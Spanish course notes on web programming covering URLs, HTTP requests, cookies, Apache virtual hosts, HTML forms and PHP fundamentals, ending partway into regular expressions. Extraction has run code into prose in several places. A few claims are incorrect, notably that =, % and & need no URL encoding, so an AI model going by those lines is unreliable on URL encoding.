Para poder seleccionar una página, debemos especificar su ubicación. Para ello se introduce el concepto de localizador uniforme de recursos o URL, que no es sino una forma general de especificar alguna información dentro de internet. La URL de una página web es de la forma: http://servidor/dir_página donde http es el protocolo, servidor es el ordenador donde está la página y dir_página es la forma de localizar la página dentro del servidor, usualmente de la forma: http://servidor/directorio1/directorio2/página donde los directorios web suelen corresponder con directorios (directorios) reales dentro del servidor.
La URL pretende recoger un gran abanico de posibilidades, para referenciar múltiples tipos de información. La forma general es: protocolo:dirección donde protocolo es el protocolo asociado al servicio y dirección es la forma de referenciar al objeto, bastante variable de unos protocolos a otros. Por ejemplo para el web la forma más general es: http://[usuario[:password]@]servidor[:puerto]/directorio1/directorio2/página seguida de [?parámetro1=valor1&parámetro2=valor2] El usuraio y la password son poco habituales, sólo para páginas de acceso restringido. Si no se especifican y son necesarios, el navegador los pide. El puerto se emplea cuando el servidor está atendiendo un puerto que no es el 80, el usual para el HTTP. Los parámetros de la página se emplean cuando la página es realmente un programa que genera contenido, no una página estática.
Las URL no están restringidas al mundo del web, sino que contemplan otros servicios, por ejemplo mailto:dirección de correo es una URL para representar direcciones de correo electrónico.
La primera línea de una petición HTTP indica la operación básica a realizar, normalmente GET o POST, el objeto sobre el que se va a realizar y la versión del protocolo a emplear, por ejemplo GET /index.html HTTP/1.1 Obsérvese que el objeto está referenciado localmente al servidor, no se realiza sobre la URL completa. Antes de la definición formal del protocolo HTTP, se admitían peticiones sin especificar el protocolo. Si probamos esta sintaxis obsoleta, veremos que muchos servidores todavía la soportan, y que después del comando el servidor sirve la página sin cabeceras. En cambio si enviamos el protocolo, el servidor espera después una cabecera en formato MIME (líneas del tipo Campo: valor y una línea en blanco), respondiendo con otra cabecera MIME y el objeto solicitado. Esta cabecera contendrá como mínimo el campo Content-type que nos indica el tipo de objeto que nos envía. Respecto a la mencionada cabecera de la petición, si la versión del protocolo es 1.0, no hay ningún campo obligatorio. En cambio si es 1.1, se requiere el campo Host, conteniendo el nombre del servidor (el que se indicó en la URL).
GET /script.php?param=valor HTTP/1.1producida al cargar la URL http://www.nisu.org/script.php?param=valor.
Host: www.nisu.org
En cambio POST debe usarse para enviar datos a un programa que impliquen modificaciones en los datos del servidor. Por ello si recargamos una página web enviada por POST, el navegador nos advierte que va a enviar de nuevo los datos (lo que puede generar una incoherencia en lo almacenado en el servidor). Pueden enviarse grandes cantidades de datos y el programa los recibe por la entrada estándar (aparte de los parámetros de la URL que funcionan igual que con GET). Una petición minimalista por POST sería:
POST /script.php HTTP/1.1donde los datos se han enviado en formato URLencode, que es el que se usa en GET. No obstante para grandes cantidades de datos, por ejemplo para enviar archivos a un servidor, se emplea una codificación MIME con mejor aprovechamiento del ancho de banda. POST no puede invocarse vía URL, este método se invoca desde los formularios. Obverva la necesidad de un campo Content-length cuando se realiza así el POST.
Host: www.nisu.org
Content-length: 16
param=un%20valor
Tanto si se invoca por GET o POST un programa debe contruir el objeto que se devuelve al cliente, incluída la cabecera. Por ello y según lo explicado antes, el programa mínimo sería:
mostrar "Content-type: text/html"dado que es necesario al menos el campo Content-type.
mostrar ""
mostrar "<html><body>hola
Cuando estudiemos PHP veremos que se ocupa tanto de enviar una cabecera por omisión como de procesar los datos recibidos por GET o POST, de modo que se simplifica la labor de la programación web.
Las cookies tienen ciertos atributos, muy importantes. En primer lugar el tiempo de vida: si no tiene una fecha de caducidad
la cookie sólo durará mientras no se cierre el navegador, se las suele llamar cookies de sessión. Si la fecha es en el
futuro, la cookie es almacenada por el navegador para usarla hasta el día que caduque. Si la fecha es en el pasado, es una orden
para borrarla.
En segundo lugar el path, que establece, dentro de un servidor, dónde se envía la cookie: puede ser sólo a los accesos
al mismo directorio que donde se generó o a todo el servidor.
En tercer lugar el dominio: en principio una cookie sólo debería devolverse al servidor que la originó, pero puede establecerse
un dominio más amplio de modo que se envíe a diversos servidores. Ésto ha dado cierta mala fama infundada a las cookies porque
si se aceptan cookies con dominios amplios, se produce una invasión de la intimidad del navegante, lo cual es irelevante porque
la intimidad del usuario está muy comprometida de otras muchas formas mucho peores que las cookies.
El objetivo de un servidor web es obvio: atender las peticiones de los clientes de la forma más
eficiente posible. Respecto a los criterios de eficiencia, un servidor que reciba pocas conexiones
no interesa que esté siempre en marcha. En este caso atenderíamos el puerto 80 a través de (x)inetd.
No obstante esto no va a ser lo habitual, pues arrancar un servidor web tiene un elevado coste,
dada la complejidad de los modernos servidores. Por ello, apache está habitualmente iniciado,
esperando conexiones de los clientes. Cuando se recibe una de dichas conexiones, apache la atiende
y registra la operación en un archivo de auditoría (log). Si se ha solicitado un archivo estático,
como una imagen, la labor de apache es relativamente sencilla, simplemente lo lee y lo devuelve al
cliente con las cabeceras apropiadas.
Pero cuando se solicita un programa, apache debe crear el entorno de ejecución apropiado y lanzar
dicho programa (habitualmente llamado CGI). Si es un programa interpretado (como PHP), lanzará el intérprete del mismo.
La ejecución de subprocesos puede ser una carga importante para el sistema, por lo que algunos intérpretes
como PHP o Python suelen estar instalados como módulos de apache. Es decir, que el intérprete forma
parte de apache, de modo que cuando hay que ejecutar un programa (script) PHP el intérprete ya está cargado.
No obstante todavía hay que procesar el código fuente PHP, cosa que también puede acelerarse,
aunque es menos habitual.
La instalación de apache es trivial pues viene integrado en todas las plataformas Linux. En Windows también es muy fácil, puede usarse por ejemplo easyphp. Una vez instalado apache, normalmente será necesario instalar también PHP, que se instala igual de sencillo. En debian, por ejemplo, basta con hacer:
apt-get install apache2Si se quieren instalar módulos adicionales de apache o extensiones de PHP (el intérprete de PHP es as su vez modular), deben instalarse por separado, suele haber muchos disponibles desde apt-get. El resultado de la instalación es, entre otras cosas, una serie de archivos de configuració que podemos encontrar en /etc/apache2 (en otras distribuciones en /etc/httpd). En ese directorio encontraremos un archivo denominado httpd.conf o apache2.conf donde está la configuración del servidor. Normalmente esta configuración no suele cambiarse mucho, de modo que suele haber otros ficheros de configuración, que son cargados desde el principal, con parámetros que sí suelen modificarse.
apt-get install php5
Centrémonos en la instalación debian que está perfectamente organizada. Dentro de /etc/apache2, encontramos el directorio conf.d, donde se colocarán archivos de configuración específicos, como charset donde podemos establecer el juego de caracteres por defecto, usualmente UTF-8, pero también puede ser AddDefaultCharset ISO-8859-15.
Más importante es el directorio mods-available que contiene la lista de módulos de apache disponibles en la instalación. Cada módulo tiene asociado al menos un archivo cuyo objetivo es la carga del mismo, por ejemplo php5.load y a veces un archivo de configuración específica de este módulo, por ejemplo php5.conf. El directorio mods-enabled contiene enlaces simbólicos a los archivos de mods-available, pero sólo a los que se desea tener activos, de modo que desde apache2.conf se cargan (incluyen) sólo los deseados.
Históricamente apache admitía sólo un site por servidor, de modo que a veces se define
un "site global" o site por defecto, aunque actualmente no debería hacerse. En su lugar se definen
sites y se colocan en archivos del directorio sites-available, activándose algunos, como en
el caso de los módulos, desde el directorio sites-enabled.
Pasemos a ver la configuración de un site, que es lo más importante. La configuración mínima de un site podría ser:
<VirtualHost host.ejemplo.com:80> Servername ejemplo.com ServerAlias www.ejemplo.com DocumentRoot /var/www/ejemplo.com ErrorLog /var/log/apache2/ejemplo-error.log CustomLog /var/log/apache2/ejemplo-access.log common Options -Indexes +Includes +ExecCGI +FollowSymLinks +MultiViews </VirtualHost>La directiva VirtualHost define un site. En este caso se asocia a la IP de host.ejemplo.com. El nombre del servidor será ejemplo.com, pero podrá ser invocado (alias) como www.ejemplo.com. La directiva fundamental es DocumentRoot. Éste es el directorio de donde cuelga el sub-árbol de directorios del web. Es decir, cuando accedamos a http://ejemplo.com/pagina.html, el servidor web la buscará en /var/www/ejemplo.com/pagina.html. O sea, que como se podía imaginar el directorio raíz del árbol de directorios del web es un subdirectorio del sistema de archivos del ordenador, de modo que los clientes web no tienen acceso fuera de ese sub-árbol.
NameVirtualHost host.ejemplo.com:80 <VirtualHost host.ejemplo.com:80> Servername ejemplo.com ServerAlias www.ejemplo.com DocumentRoot /var/www/ejemplo.com ErrorLog /var/log/apache2/ejemplo-error.log CustomLog /var/log/apache2/ejemplo-access.log common Options -Indexes +Includes +ExecCGI +FollowSymLinks +MultiViews </VirtualHost> <VirtualHost host.ejemplo.com:80> Servername ejemplo2.com ServerAlias www.ejemplo2.com DocumentRoot /var/www/ejemplo2.com ErrorLog /var/log/apache2/ejemplo2-error.log CustomLog /var/log/apache2/ejemplo2-access.log common </VirtualHost>sería la cofiguración de dos sites sobre la IP de host.ejemplo.com. Uno de ellos respondería cuando se accediese a ejemplo.com o www.ejemplo.com y el otro a ejemplo2.com o www.ejemplo2.com. Obviamente tanto host.ejemplo.com como ejemplo.com, www.ejemplo.com, ejemplo2.com y www.ejemplo2.com a nivel de DNS deben resolver todos a la misma IP.
<VirtualHost *:80>
Servername ejemplo.com
ServerAlias * # todos los servidores posibles
DocumentRoot /var/www
RewriteEngine On
RewriteMap lowercase int:tolower
RewriteCond %{HTTP_HOST} ^(.*)$ [NC]
RewriteRule ^(.+)$ %{DOCUMENT_ROOT}/${lowercase:%1}$1 [L]
RewriteRule ^(.+)$ %{DOCUMENT_ROOT}/error/index.html
CustomLog /var/log/apache2/access.log "%V %h %l %u %t \"%r\" %>s %b"
</VirtualHost>
Hemos definido un VirtualHost que coincide con todos los posibles servidores que hagamos apuntar a nuestro
apache vía DNS. La condición indicada con RewriteCond se cumple siempre y sólo sirve para
asignar a %1 el nombre del host tal y como le llega al servidor. La primera regla de reescritura
envía por ejemplo http://un.servidor.com/dir1/p.html a /var/www/un.servidor.com/dir1/p.html
de modo que en nuestro sistema, para añadir un dominio nuevo basta con crear el directorio en /var/www y
apuntar en el DNS a nuestro apache.
<VirtualHost *:80>
Servername al.nisu.org
ServerAlias *.al.nisu.org
DocumentRoot /var/www/alus/
RewriteEngine On
1 RewriteRule ~([^/]*) http://al.nisu.org/miserv.php?ori=$1 [L]
RewriteMap lowercase int:tolower
2 RewriteCond %{HTTP_HOST} ^.*?\.?([^.]+)+\.al\.nisu [NC]
3 RewriteCond /home/${lowercase:%1}/public_html -d
4 RewriteRule ^(.+)$ /home/${lowercase:%1}/public_html/$1 [L,E=ES_AL:yes]
5 RewriteCond %{HTTP_HOST} ^.*?\.?([^.]+)+\.al\.nisu [NC]
6 RewriteRule ^(.+)$ /var/www/alus/nopage.php?ori=${lowercase:%1} [L]
7 CustomLog "| /usr/local/sbin/log_user_web" "%f!%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" env=ES_AL
8 CustomLog /var/log/apache2/access.log combined env=!ES_AL
</VirtualHost>
La primera regla de reescritura (#1) detecta urls de la forma http://xxxx.al.nisu.org/~usuario y las sustituye
por una invocación al script miserv.php que simplemente sugiere al visitante que debe usar URLs del tipo
http://usuario.al.nisu.org/.
La composición y formato de un documento se realiza a base de insertar de etiquetas, palabras reservadas del lenguaje rodeadas de los símbolos < >. Las etiquetas pueden ser de tres tipos:
<P ALIGN="right">HTML no distingue entre mayúsculas y minúsculas, por lo que las etiquetas podrán escribirse con cualquier combinación de caracteres, buscando siempre la mejor legibilidad del documento. A la hora de presentar un documento en pantalla, los clientes Web no respetan el posible formato que contenga el documento fuente (espacios entre líneas o palabras adicionales, tabuladores, etc.), sino que son las propias etiquetas de HTML las que controlen este formato.
<P ALIGN=Left>
<IMG SRC="FotoGrande.gif">
<HR NOSHADE>
<!DOCTYPE HTML PUBLIC ...> Versión de HTMLToda la información incluida dentro del documento HTML debe estar rodeada por las etiquetas <HTML>...</HTML>. Dentro ellas, se pueden identificar dos partes, denominadas encabezado y cuerpo, con diferentes cometidos: En el encabezado <HEAD>...</HEAD> se incluye información sobre características del documento. Su contenido no se presenta directamente en la pantalla, pero altera el tratamiento que los clientes y servidores Web dan al mismo. El cuerpo <BODY>...</BODY> contiene el documento propiamente dicho, es decir, los datos que se presentarán en la pantalla. <BODY> permite controlar algunos atributos sobre la apariencia global del documento. En el encabezado hay una única etiqueta de inclusión obligatoria, llamada <TITLE>...</TITLE>. El texto incluida entre las etiquetas fija el título que el cliente Web muestra en la parte superior de la ventana del documento (no debe contener otras etiquetas HTML). También se utiliza como descripción al añadir un bookmark, es decir, una anotación en la agenda de direcciones interesantes que ofrecen la mayoría de los clientes Web modernos.
<HTML>
<HEAD> Información sobre características del documento
</HEAD>
<BODY> Contenido "visible" de la página
</BODY>
</HTML>
Otra etiqueta muy utilizada es <FONT>, cuyas propiedades más destacadas son: color (color de la fuente), síze (tamaño de la letra), face (tipo de letra)... Otra posibilidad es crear el efecto de parpadeo de un texto, ello lo indicaremos con la etiqueta <BLINK>, aunque este elemento pertenece a Netscape 1.1, y por tanto la mayoría de los navegadores lo ignora.
El elemento <DIV> permite al autor del documento estructurar al mismo en bloques. Este elemento utiliza en general al elemento <span>, y se combina con los atributos id y class para identificar al bloque que conforma y ubicarlo mediante coordenadas en la pantalla. Permite la alineación especificando en la propiedad align el tipo de alineado (centrado center, justificado, justlfy, a la derecha right a la izquierda left.
Para las cabeceras podemos utilizar <Hn>, cabecera de nivel n. Permiten la jerarquización del texto, existiendo 6 niveles (n=1...6). La número 1 se mostrará con un tamaño de letra mayor, disminuyendo éste hasta la 6.
Listas anidadas: <UL> comienza con una lista desordenada. Los elementos individuales, que se marcan con la etiqueta <LI> en el origen, aparecen con viñetas • al principio. Una variante de este mecanismo es <OL>, que es para listas ordenadas. Cuando se usa esta etiqueta los elementos <LI> son numerados por el navegador.
Las etiquetas <BR>, <P>, <BLOCKQUOTE> y <HR> indican límites entre secciones del texto. El formato preciso se pude determinar por la hoja de estilo (que se verá más adelante). <BR> fuerza una línea nueva, <P> comienza un párrafo, <BLOCKQUOTE> indica el sangrado y <HR> fuerza una nueva línea y dibuja una línea horizontal.
Para la inclusión de imágenes se utiliza <IMG>, que como parámetros puede tener: src, path donde esta la imagen; align, alineación de la imagen con respecto a la línea base del texto (top, middle, bottom); alt, que proporciona texto alternativo a usar en lugar de la imagen cuando el usuario ha inhabilitado las Imágenes, e ismap, un indicador de que la imagen es un mapa activo (es decir, un el elemento al cual podemos acceder al pinchar). Se suelen utilizar para como formato las extensiones JPEG y GIF, puesto que todos los navegadores las reconocen. Con el elemento <ADDRESS> se permite agregar datos y dirección del autor del documento y comunicar esta información a otro documento.
Los comentarios en HTML se especifican entre los símbolos <! -- y -->
Dentro de un documento de hipertexto pueden existir dos tipos de enlaces, los de origen y los de destino. Las principales características de cada uno de ellos son:
En la versión HTML 3.0 se agregaron las tablas, que permiten construir bloques del documanto perfectamente alineados. Las tablas supusieron el elemento clave para el desarrollo estético del web fuera del estricto uso como herramientoa de publicación de documentos.
Se inician mediante la etiqueta <TABLE> y se utilizan parámetros adicionales para describir las propiedades generales de la tabla. La etiqueta <CAPTION> puede utilizarse para proporcionar el título de una figura. Cada fila comienza con una etiqueta <TR> y las celdas individuales se marchan como
| 2 filas | ||
| prim col de la seg fila | segunda columna | |
La lista despegable, <SELECT> tiene prácticamente las mismas propiedades que el tipo <INPUT>, pero además dentro se deben definir las etiquetas <OPTION> donde se mostrarán los elementos a mostrar. Con el atributo selected se muestra por defecto un elemento de la lista seleccionado. Si no se especifica el atributo value se interpreta que el valor es el texto a mostrar. EL campo <SELECT> admite la propiedad multiple, que permite devolver varios valores, su usao lo veremos más adelente, con PHP.
Ejemplo:
<form method=post action=mailto:xxx@uji.es name=pr7 enctype="application/x-www-form-urlencoded">
Texto corto<input name=texto_corto>
Texto oculto<input type= password name=texto_oculto> <br>
<input name=sexo type=radio value=hombre checked> Hombre <br>
<input name=sexo type=radio value=mujer> Mujer <br>
<input name=check type=checkbox checked> Por favor contestar <br>
<input name=valor_oculto type=hidden value="123">
<textarea name=area_texto rows=4 cols=20>Escribe tu comentario</textarea>
<select name=seleccion size=3>
<option>Primero</option>
<option selected>Segundo</option>
<option value=3o>Tercero</option>
</select>
<input type=submit value=Enviar>
<input type=reset value=Borrar>
</form>
texto_corto=Buenos+d%EDas&texto_oculto=&sexo=hombre&check=on &valor_oculto=%94123%94&area_texto=Sin+comentario&seleccion=Primerosiendo ED 2 dígitos en hexadecimal que representan a la í. El espacio en blanco se indica con %20 (el carácter con código ASCII 20 en hexadecimal, o 32 en decimal). Los caracteres "normales" no se codifican, y los demás siguen el formato %XX, siendo XX la representación del carácter en la tabla ASCII (en hexadecimal). Se consideran normales los caracteres: =, %, &
Hola
<?php
echo "mundo<br>";
echo strftime("Son las %H horas");
?>
PHP es muy similar a C y otros lenguajes. Las instrucciones se separan con ; y los cambios de línea son equivalentes a los espacios en blanco (fuera de las cadenas, claro). Debemos respetar las reglas de identación buscando la claridad. Los comenrarios se delimitan con // o # para una línea, y con /* y */ para bloques de líneas.
<? phpinfo(); ?>
y cárgalo con el navegador
vía servidor web (algo como http://localhost/directorio/info.php). Observa la información suminstrada.
Las variables en PHP explotan al máximo
las características que ofrece un lenguaje interpretado, pudiendo hacer operaciones totalmente impensables para un lenguaje compilado.
Las variables siempre comienzan con el signo $ y su nombre sigue las reglas habituales de otros lenguajes.
La asignación de un valor se realiza con el signo =.
Las variables no se declaran y pueden tomar diversos tipos de datos en tiempo de ejecución, cambiando de uno a otro según el
valor que se les asigne. Los nombres de las variables son sensibles ante mayúsculas y minúsculas. Veamos este ejemplo:
<? Hemos definido la variable $v1 y le hemos asignado el entero 50. Después mostramos uan variable del sistema y
definimos una constante, cuyo uso es de escaso interés a mi juicio. La asignación se realiza siempre por valor, es decir copiando.
En PHP existen las referencias, pero deben usarse con mucho cuidado,
teniendo en cuenta que no son direcciones como en C.
// variable declarada explícitamente
$v1 = 50;
// imprimimos una de las variables del sistema
echo $_SERVER ["DOCUMENT_ROOT"] ;
//definimos una constante
define ("VARIABLE_CONSTANTE" , 80) ;
echo VARIABLE_CONSTANTE;
// copia el valor
$v2=$v1;
$v1=3+5;
// se convierten ambas variables a string y se concatenan
$v1=$v1.$v2;
// error de sintaxis
$2v = 5;
?>
Una variable puede tener que separarse de su entorno, por ejemplo dentro de una cadena, entonces puede usarse el formato ${variable}.
El formato $$ es una forma simplificada de evaluación, en el sentido que $$x significa la variable cuyo nombre esta en $x:
<?
$nom="variable";
$variable=6;
echo "La variable '$nom' lleva un '".$$nom."'";?>
<?
for ($i=1; $i <100; $i++) {
$nom="nom$i";
$$nom=$i;
echo "La variable '$nom' lleva un '".$$nom."'\n";
} ?>
La construcción $$ es realmente forma simplificada de ${$variable}.
Realmente el formato ${} significa evalúa lo que hay dentro y el resultado interprétalo
como un nombre de variable. Según esto, podemos escribir:
<?
${x}=3;
${"x"}=3;
${"x".rand(3,10)}=5;
${$x}=8;
echo "He llegado hasta quí sin errores"; ?>
En consecuencia, el anterior bucle se escribe mejor como:
<?
for ($i=1; $i <100; $i++)
${"nom".$i}=$i;
?>
Una característica de los lenguajes interpretados es la presencia de la potentísima instrucción eval(), cuya misión es
interpretar el código fuente que se le pasa como parámetro, lo que significa analizarlo léxica y sintácticamente y ejecutarlo.
Esta sentencia permite ejecutar nuevo código creado en tiempo de ejecución, lo que extiende las posibilidades del lenguaje al infinito,
ya que es recusiva (un eval puede contener otro eval).
Así, el anterior ejemplo sería una forma abreviada y cómoda de:
<?
for ($i=1; $i <100; $i++)
eval("\$nom$i=$i;");
?>
Observa la necesidad del ;. Estrictamente, el eval que corresponde es:
<?
for ($i=1; $i <100; $i++)
eval("\$nom$i=\$i;");
?>
Como es complicado saber lo que se va a evaluar, yo recomiendo aislar el trozo del eval y susttituirlo por un print,
según lo cual:
<?
for ($i=1; $i <100; $i++)
print("\$nom$i=\$i;<br>");
?>
La sentencia eval() eleva notablemente la potencia de un lenguaje, pero oscurece el código en la misma
medida en que lo acorta. Un uso sencillo de eval es saber si un código PHP es sintácticamente correcto:
<?
$x="echo Hola;";
if (@eval("return true; $x"))
echo "Es correcto"; ?>
La sentencia return funciona dentro de eval y establece el valor de la ejecución de la misma. El significado de @ lo explico a continuación.
La sentencia eval() puede aparecer embebida en preg_replace.
PHP tiene distintos niveles de error. A veces se producen eventos simplemente informativos, otros de atención y otros de error. Normalmente los eventos informativos no se muestran, pero puede configurarse para que así sea con ánimo de depurar código. Los avisos de atención pueden esconderse en llamadas a funciones precediendo la llamada con una @, lo debe hacerse sólo cuando estamos seguros de que no es importante el aviso que ignoramos. Cuando se produce un error, la ejecución del código se para, el mensaje de error también puede esconderse con @, aunque probablemente es una mala idea hacerlo.
Por ejemplo, si quiero obtener el contenido de un archivo, y detectar si no existe o está vacío, puedo hacer:
<?
if ($x=@file_get_contents("unarchivo"))
echo "Existe y no está vacío";
else
echo "La cosa ha ido mal";?>
Al no existir unarchivo, se produce un warning (mensaje de atención), pero no lo vemos porque @ ha anulado la visibilidad del mensaje. Si file_get_contents produjera error en lugar de warning, no hubiésemos leído ningún mensaje, pues la ejecución del código se hubiera parado.
<?
// $a es un entero
$a=3;
// el valor de $a (no la propia varaible) se convierte
// a cadena y se concatena con otra cadena.
$b="hola ".$a; ?>
Los tipos boolean, integer y float no requieren demasiada atención, simplemente debemos ir en cuidado al manejarlos, por ejemplo:
<? if (!$x) echo "Sí" ?>
escribirá Sí tanto si $a no está definida, como si contiene la cadena nula "",
como si contiene la cadena "0", como si contiene un integer o float de valor 0 o un boolean de valor false.
Si queremos saber realmente si $a no está definida, podemos usar la función isset. Los tipos pueden compararse usando, por ejemplo,
el operador === que dice si dos expresiones evalúan igual y son del mismo tipo. El habitual operador de comparación == no compara
el tipo, sólo el valor, y la condición 0 == "0" es cierta.
<?
$x=0x7fffffff ; echo "$x ",is_int($x),"\n";
$x=2*$x; echo "$x ",is_int($x),"\n";
$x=0xffffffff ; echo "$x ",is_int($x),"\n";
$x=0x100000000; echo "$x ",is_int($x),"\n";
?>
<? $x=0x10000000000000000 ; echo $x;?>
El tipo resource es empleado para operaciones de entrada salida, no tiene un interés especial, simplemente se usa cuando se debe. De los tipos array y object nos ocuparemos expresamente, por sus peculiaridades. Ahora nos detendremos en el tipo string.
Las cadenas merecen cierta atención. Una cadena en PHP viene delimitada por comillas imples (') o dobles ("). Las comillas
simples producen literalidad: cualquier caracter dentro de ellas es interpretado como tal, excepto la propia comilla que debe ser escapada:
<?
echo 'Martin\'s House';
?>
La doble comilla produce la evaluación de las variables y la interpretación de
secuencias especiales como \n o \014:
<?
$x=2300;
echo "Somos $x";
?>
Para delimitar una variable cuando va pegada a una cadena, podemos emplear la forma ${variable}, pero es mejor usar {$variable}:
<?
$x=23;
echo "Somos $x00\n"; // falla
echo "Somos ${x}00\n";
echo "Somos {$x}00\n";
?>
<?
$a['ejemplo']='algo';
$b['otro']['ejemplo']='nada';
echo "Ejemplo: $a['ejemplo'] con array"; // error de sintaxis
echo "Ejemplo: $a[ejemplo] con array"; // funciona, pero por compatibilidad obsoleta
echo "Ejemplo: {$a['ejemplo']} con array"; // correcto
echo "Ejemplo: ${a['ejemplo']} con array"; // correcto
echo "Ejemplo: ".$a['ejemplo']." con array"; // obviamente correcto, pero más farragoso
echo "Ejemplo: {$b['otro']['ejemplo']} con array"; // correcto
echo "Ejemplo: ${b['otro']['ejemplo']} con array"; // error de sintaxis
?>
La forma $a[ejemplo] implica la definición de una constante de nombre ejemplo, que no estando previamente definida, toma el valor 'ejemplo'. Esta forma no debería usarse, exite por compatibilidad con las primeras versiones de PHP.
<?
if (condición)
acción ;
if (condición)
acción ;
else
otra_acción ;
if (condición) acción ;
elseif (otra_condición) otra_acción
else más_acción;
switch ((expresión) {
case valor: acciones;
case valor: acciones;
default: acciones;
}
while (condición) acción;
do acción while (condición);
for (expresión inicial, exp. inicial2 ;
condición ;
expresión de paso, expresión de paso2)
acción;
foreach (expresión_array as $valor)
acción;
foreach (expresión_array as $indice => $valor)
acción;
?>
Creo que estas estructuras se comprenden sin más, pero haré algunas aclaraciones.
El término acción; hace referencia a una sentencia cualquiera (o colección de sentencias agrupadas con { y }).
El término condición se refiere a cualquier expresión que se evaluará como un boolean. Es decir que será false tanto la cadena vacía, como un 0 numérico como una cadena que contiene un "0", como un array vacío. Una array que contenga al menos un elemento, aunque sea array(false), evalúa como true.
Respecto a switch, hay que tener en cuenta que para cada case pueden ponerse varias acciones sin {}. La última de las
mencionadas acciones suele ser break. Si break no está presente, la ejecución sigue con el siguiente grupo de acciones:
<?
switch(5) {
case 5: echo "Hola ";
case 6: echo "soy yo";
}?>
Respecto a while, la acción se ejecuta 0 o más veces, pues la condición se evalúa antes. En cambio do ... while ejecuta la acción al menos una vez, pues la condición se evaúa después.
La sentencia foreach permite ejecutar la acción para cada uno de los elementos del array, que es copiado en la variable
que he etiquetado como $valor. Si $indice está presente, se accede, además, a cada uno de los índices. Observa la ejecución de
este código:
<?
foreach($a=array("lun","mar") as $dia) {
$dia="dom";
echo $dia."\n";
}
print_r($a);
foreach($a as $i => $dia)
$a[$i]="dom";
print_r($a);
?>
La sentencia break se usa no sólo en el ámbito de switch, sino principalmente
para romper bucles. Aunque los puristas opinan que es una forma poco estructurada de programación,
sí que lo es si se usa correctamente, es decir para tratar, por ejemplo, excepciones o errores.
También es necesaria si se usa para cualquier ruptura con foreach. El siguiente código
Busca un elemento en un array usando foreach:
<?
unset($donde);
foreach($a as $i => $v)
if ($v == buscado) {
$donde=$i;
break;
}
if (isset($donde)) // no puedo usar if ($donde) pues podría ser 0
echo "Está en $donde";
?>
Igualmente la sentencia continue, mucho menos util que break, causa que, dentro de un bucle, no se procesen el resto de instrucciones y se pase a la siguiente iteración.
Por último, la sentencia return, que se usa para establecer el valor devuelto por una función, causa también el fin de la ejecución del código de la función, dando una funcionalidad similar a break, pero sólo dentro de funciones, o en el caso especial de la sentencia eval.
<? $a[3]=8; ?>
que crea un array de nombre $a y le asigna un entero 8 a la posición
3. He remarcado el término posición porque realmente se trata de un índice:
<? $a[3]=8;
$a[1]="Hola";
print_r($a); ?>
También es típica la autoasignación de índice mediante el uso de []:
<?
$a["clave1"]="hola" ;
$a["clave2"]="adios" ;
$a[]=1;
$a[]=2;
$a[20]= 3;
$a[]= 4;
print_r($a) ; ?>
<?
$a[20]= 3;
foreach ($a as $elemento => $valor)
unset($a[$elemento]) ;
$a[]= 4;
print_r($a) ; ?>
El constructor array() permite formar un array de un tirón. Observemos este ejemplo:
<?
$v=array("coche" => "bmw", "moto" => "honda");
print_r($v);
$v[coche]="audi";
print_r($v);
define("coche","moto");
$v[coche]="ferrari";
print_r($v); ?>
El ejemplo ilustra como construir un array usando array(). Al mismo tiempo ilustra el peligro de usar constantes como índices de arrays si se usan también sentencias define.
Los arrays multidimensionales no existen como tales, son simplemente arrays de arrays y se manejan así:
<?
$a[8][3][5][3]=22;
print_r($a); ?>
Parece obvio que los índices de un array son únicos, lo que me puede ser útil. Por ejemplo, para saber qué (y cuántas veces)
elementos HTML aparecen en un archivo, puedo usar:
<?
preg_match_all('%<([^/]\w+)%',
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
$eles=array();
foreach ($mat[1] as $ele)
$eles[$ele]++;
ksort($eles); // si no ordeno, el orden es el de la primera aparición
print_r($eles); ?>
Un uso del constructor array() es la generación de listas sobre la marcha para ahorrar y dar claridad al código.
En el siguiente ejemplo, para añadir más días sólo tengo que modificar el array:
<?
setlocale(LC_TIME,"es_ES");
$f=time();
foreach(array("mon" => "cansado",
"tue" => "aburrido",
"fri" => "contento"
) as $d => $que)
echo strftime("El %A %e de %b estaré $que\n",$f=strtotime($d,$f));
?>
<?
function ejemplo($valor) { // absurda función
echo "Hola";
return $valor+1;
}
?>
Los parámetros se pasan por valor si no se dice lo contrario. Las funciones pueden retornar cualquier tipo de datos
e igualmete los parámetros pueden ser de cualquier tipo.
Una función puede definirse antes o después del momento de usarse. Puede definirse también de forma condicional, por ejemplo
dentro de un if. En este caso, no quedan definidas si no se entra en el if.
Si se invoca a una función que no existe se produce un error fatal. Una función no puede redefinirse.
Los parámetros admiten dos variantes además del formato clásico. Por una parte los parámetros por defecto permiten
que ciertos parámetros tengan un valor preestablecido si no se pasa a la función:
<?
function defecto($color,$fondo="negro") {
echo "$color sobre fondo $fondo\n";
}
defecto("amarillo");
defecto("azul","naranja"); ?>
Por supuesto las funciones admiten parámetros por referencia, usando el operador &:
<?
function referencia(&$variable) {
$variable="sí";
}
$modi="no";
referencia($modi);
echo "La variable $modi ha sido modificada"; ?>
Si en una variable de tipo string almacenamos el nombre de una función, podemos llamar a ésta usando la variable:
<?
function uno() { echo "Una\n"; }
function dos() { echo "Dos\n"; }
$func="uno"; $func();
$func="dos"; $func(); ?>
<?
function factorial($x) {
if ($x == 0)
return 1;
else
return $x*factorial($x-1);
}
echo "Factorial de 3 = ".factorial(3); ?>
Una expresión regular es un patrón que describe un conjunto de cadenas sin enumerarlas, es decir que las representa sin especificar cuales son. Por ejemplo: ab?c representa a las cadenas abc y ac. La expresión se contruye con los elementos que integran las cadenas más unos signos (operadores) que las definen. De unos lenguajes de programación a otros la sintaxis cambia bastante, puede haber más o menos signos o ser distinta su interpretación exacta. Básicamente las expresiones se componen de operadores:
Otros caracteres tienen significados especiales. Por ejemplo . significa cualquier caracter, normalmete se excluye el cambio de línea (\n), pero en PCRE puede especificarse que también lo incluya. Los signos ^ y $ no se corresponden con ningún caracter, sino que representan posiciones dentro de la cadena, concretamente al inicio y al final. Los signos [ y ] marcan la definición de una clase de caracteres, cambiando el significado de ^ y -.
Todos estos signos y operadores pueden combinarse con cuidado. Por ejemplo si queremos representar sólo las cadenas pan y agua, podemos usar la expresión ^pan|agua$, pero ésta puede representar:
